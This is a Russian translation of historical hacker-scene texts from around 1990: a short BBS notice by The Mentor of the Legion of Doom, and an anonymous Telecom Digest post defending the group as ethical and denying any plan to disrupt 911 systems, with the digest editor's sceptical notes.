Есть сомнения в том, стоит ли вообще оставлять борду открытой, но я лично позвонил нескольким следователям из правительства и пригласил их присоединиться к нам здесь на борде. Если я начну чувствовать, что борда подвергает меня какой-либо опасности, — вырублю её без предупреждения. Надеюсь, все понимают.

Похоже, опять «сезон охоты» у федералов. Будем надеяться, что мы все ещё окажемся здесь через 6 месяцев, чтобы поговорить об этом.

The Mentor
Legion of Doom!

[Phoenix Project уже давно закрыт.]

```
Newsgroups: comp.dcom.telecom
Subject: The Purpose and Intent of the Legion of Doom
Message-ID: <4248@accuvax.nwu.edu>
From: anytown!legion@cs.utexas.edu (Legion of Doom)
```

Date: 22 Feb 90 04:42:04 GMT
Sender: news@accuvax.nwu.edu
Organization: Anytown USA
Approved: Telecom@eecs.nwu.edu
X-Submissions-To: telecom@eecs.nwu.edu
X-Administrivia-To: telecom-request@eecs.nwu.edu
X-Telecom-Digest: Volume 10, Issue 121, message 4 of 5
Lines: 51

[Примечание редактора: Это анонимное сообщение пришло сегодня по почте. PT]

Что ж, пришлось высказаться. Много пены было пущено (преимущественно людьми, которые верят всему, что читают в газетах) о Legion of Doom. Я участвую в этой группе с 1987 года и не хочу терпеть безответственные публикации о нашем «заговоре с целью вывести из строя 911» или о нашей «связи с организованной преступностью».

LOD был создан, чтобы объединить лучшие умы компьютерного андеграунда — не для нанесения ущерба и не ради личной выгоды, а для обмена опытом и обсуждения вычислительных технологий. Группа *всегда* придерживалась высочайших этических стандартов хакера (или «крэкера», кому как нравится). Не раз мы предотвращали злоупотребление системами, которые было *опасно* оставлять открытыми, — от правительственных систем до систем Easter Seals. Людей, причастных к этому делу о 911, я знаю много лет, и *абсолютно* никаких намерений вмешиваться или как-либо воздействовать на систему 911 у них не было. Случалось, мы проникали на компьютер, на котором нам быть не следовало, — но нанесение ущерба системе или попытка совершить мошенничество ради личной наживы являются основанием для исключения из группы и социального остракизма.

Главное преступление, которое было совершено, — это любопытство. Ким, ваша система 911 в безопасности (от нас — по крайней мере). Мы сыграли важную роль в закрытии многих брешей в системе безопасности в прошлом и надеялись продолжить это в будущем. Список специалистов по компьютерной безопасности, считающих нас союзниками, длинный — но должен оставаться анонимным. Если кто-то из них решит назвать себя — мы оценили бы поддержку.

Я в числе тех, кто уже не считает себя «действующим» членом группы. Уже больше года я «на пенсии». Но я продолжаю ежедневно общаться с действующими членами и поддерживаю группу через эту сетевую точку, откуда почта маршрутизируется другим участникам LOD — и действующим, и доступным.

Кто хочет задать вопросы — добро пожаловать писать нам: вы найдёте нас дружелюбными, хотя и несколько настороженными. Мы также с удовольствием поговорим голосом с каждым, кто захочет договориться о времени звонка. Несмотря на всю медийную шелуху, мы считаем себя этичной, созидательной силой в вычислительных технологиях и компьютерной безопасности. Надеемся, что другие тоже придут к такому выводу.

The Mentor / Legion of Doom
legion%anytown.uucp@cs.utexas.edu

[Примечание редактора: Если вы — «этичная, созидательная сила в вычислительных технологиях», почему вы не можете подписаться своим именем под подобными сообщениями? Как правило, я даже не рассматриваю анонимные сообщения для публикации в Дайджесте, однако ваша организация имеет полное право изложить свою версию, и с моей стороны было бы упущением не напечатать её. Настоящие имена и адреса — верный способ устранить брешь в доверии. PT]

•----------

Вот и всё. Теперь это в прошлом — забудьте и двигайтесь дальше. Сказать больше нечего — всё уже было напечатано, напечатано на машинке, произнесено вслух или услышано за последние несколько месяцев.
